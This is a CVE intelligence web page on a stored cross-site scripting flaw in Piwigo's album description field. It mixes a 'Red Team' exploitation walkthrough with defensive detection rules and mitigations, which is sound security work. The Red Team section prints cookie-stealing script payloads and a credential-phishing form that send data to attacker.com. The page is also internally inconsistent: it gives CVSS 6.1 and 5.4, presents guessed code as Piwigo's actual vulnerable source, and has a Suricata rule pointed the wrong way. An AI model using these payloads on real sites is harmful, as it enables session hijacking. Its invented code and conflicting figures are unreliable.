☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-46605

CVE-2024-46605 Cross-Site Scripting in Piwigo
📅 PUBLISHED: 2024-10-16 00:00 UTC 🔄 UPDATED: 2026-09-23 20:28 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.42%
👁️
0.42% probability
10.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-46605 is a stored Cross-Site Scripting (XSS) vulnerability in Piwigo v14.5.0, specifically within the album management interface. An authenticated attacker with album creation or editing privileges can inject arbitrary JavaScript or HTML into the Description field of an album via the /admin.php?page=album component. This payload is then stored on the server and executed in the browsers of any user who views the affected album, including administrators. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a vector emphasizing network-based exploitation, low attack complexity, required privileges, and user interaction. No public exploit code or Nuclei template is currently available, but the attack vector is straightforward and well-documented.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Piwigo is a self-hosted PHP photo gallery application. This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the Piwigo application itself. The risk is primarily to organizations that self-host Piwigo instances. No known supply chain compromise is associated with this CVE.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 5.4 (Medium)
  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – The attacker needs an authenticated account with album management privileges.
  • User Interaction (UI): Required (R) – A victim must view the malicious album page.
  • Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking, phishing, or defacement makes this a significant concern for Piwigo administrators.

Deep Dive & Mechanics

The vulnerability resides in the album creation/editing functionality. When an authenticated user submits a new album or modifies an existing one, the Description field is not properly sanitized or encoded before being stored in the database. The application then renders this description on the album page without proper output encoding, allowing arbitrary HTML and JavaScript to execute.

Attack Flow:

  1. Authentication: The attacker logs into Piwigo with an account that has permission to create or edit albums.
  2. Crafting Payload: The attacker navigates to /admin.php?page=album and injects a malicious payload into the Description field. Example: <script>alert('XSS')</script> or a more sophisticated payload to steal cookies.
  3. Storage: The payload is stored in the database without sanitization.
  4. Triggering: When any user (including administrators) views the album page, the stored payload is rendered and executed in their browser.
  5. Impact: The attacker can perform actions such as session hijacking, defacement, or phishing.

Root Cause: Lack of input validation and output encoding on the Description field. The application likely uses echo or similar functions without applying htmlspecialchars() or equivalent escaping.

Vulnerable vs. Patched Code

Vulnerable Code (Piwigo v14.5.0):

// In admin/album.php or similar
$description = $_POST['description']; // No sanitization
// ... later in the template
echo $description; // Direct output without encoding

Patched Code (Hypothetical Fix):

// In admin/album.php or similar
$description = htmlspecialchars($_POST['description'], ENT_QUOTES, 'UTF-8');
// ... later in the template
echo $description; // Now safe

The fix involves using htmlspecialchars() (or a similar function like strip_tags() with a whitelist) on input, and ensuring output is encoded. Additionally, a Content Security Policy (CSP) header can mitigate impact.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • A running Piwigo v14.5.0 instance.
  • An authenticated user account with album creation/editing privileges.

Exploitation Steps:

  1. Login: Access the Piwigo admin panel.
  2. Navigate: Go to /admin.php?page=album.
  3. Create/Edit Album: Fill in the album name and other details.
  4. Inject Payload: In the Description field, enter a malicious script. For example:
    <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  5. Save: Submit the form.
  6. Trigger: Wait for an administrator or other user to view the album. The script will execute, sending cookies to the attacker's server.

Alternative Payloads:

  • Session Hijacking: <script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>
  • Defacement: <script>document.body.innerHTML='<h1>Hacked</h1>'</script>
  • Phishing: <form action="http://attacker.com/login" method="post"><input type="text" name="user"><input type="password" name="pass"><input type="submit"></form>

Blue Team (Defender)

Detection & Prevention:

  1. Input Validation: Implement strict input validation on the Description field. Use a whitelist of allowed HTML tags (e.g., <b>, <i>, <a>) and strip all others.
  2. Output Encoding: Always encode output using htmlspecialchars() or a templating engine that auto-escapes.
  3. Content Security Policy (CSP): Add a CSP header to restrict script execution. Example:
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
    
  4. Web Application Firewall (WAF): Deploy a WAF rule to block common XSS patterns in POST parameters.
  5. User Education: Train administrators to avoid clicking on suspicious links and to use strong, unique passwords.

Lab Setup for Testing:

  • Environment: Docker container running Piwigo v14.5.0.
  • Tools: Burp Suite, OWASP ZAP, or a simple browser with developer tools.
  • Steps:
    1. Deploy Piwigo using Docker: docker run -d -p 8080:80 piwigo:14.5.0
    2. Access the admin panel and create a test album.
    3. Use Burp Suite to intercept the request and modify the description parameter.
    4. Verify that the payload is stored and executed.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to unknown or suspicious domains from the Piwigo server.
    • Unusual Referer headers pointing to /admin.php?page=album.
  • File IOCs:
    • Modified database entries in the piwigo_albums table with suspicious description fields containing <script> tags.
  • Log IOCs:
    • Access logs showing repeated requests to /admin.php?page=album from a single IP.
    • Error logs containing JavaScript syntax errors (if payloads are malformed).
  • Behavioral IOCs:
    • Unexpected changes to album descriptions.
    • Unauthorized administrative actions performed after a user views a malicious album.

Detection Engineering

YARA Rule

rule piwigo_cve_2024_46605_xss {
    meta:
        description = "Detects stored XSS payloads in Piwigo album descriptions"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-46605"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/si
        $xss_event = /on\w+\s*=\s*["'][^"']*["']/si
        $xss_src = /src\s*=\s*["']javascript:/si
    condition:
        any of them
}

Sigma Rule

title: Piwigo Stored XSS via Album Description
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attacks against Piwigo v14.5.0 via the album description field.
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/admin.php*page=album*'
        cs-uri-query|contains: 'description='
    condition: selection
falsepositives:
    - Legitimate use of HTML in descriptions (if allowed by admin)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-46605 Piwigo Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin.php"; http_uri; content:"page=album"; http_uri; pcre:"/description=.*<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no official patch exists.
  2. Manual Code Fix: Apply the hypothetical patch described in the "Vulnerable vs. Patched Code" section. Modify the album creation/editing code to sanitize input and encode output.
  3. Disable HTML in Descriptions: If possible, configure Piwigo to strip all HTML tags from album descriptions. This can be done by modifying the configuration or using a plugin.
  4. Restrict Privileges: Limit album creation/editing privileges to trusted users only. Review and revoke unnecessary accounts.
  5. Monitor Logs: Actively monitor web server logs for suspicious POST requests to /admin.php?page=album.

Long-Term Mitigations:

  1. Web Application Firewall (WAF): Deploy a WAF with rules to block XSS payloads.
  2. Content Security Policy (CSP): Implement a strict CSP to prevent inline script execution.
  3. Regular Security Audits: Conduct periodic code reviews and penetration testing.
  4. User Training: Educate administrators about the risks of XSS and safe browsing practices.

Workaround:

  • Use a reverse proxy (e.g., Nginx) to filter out malicious payloads. Example Nginx rule:
    location /admin.php {
        if ($args ~* "description=.*<script") {
            return 403;
        }
    }
    

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-46605/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.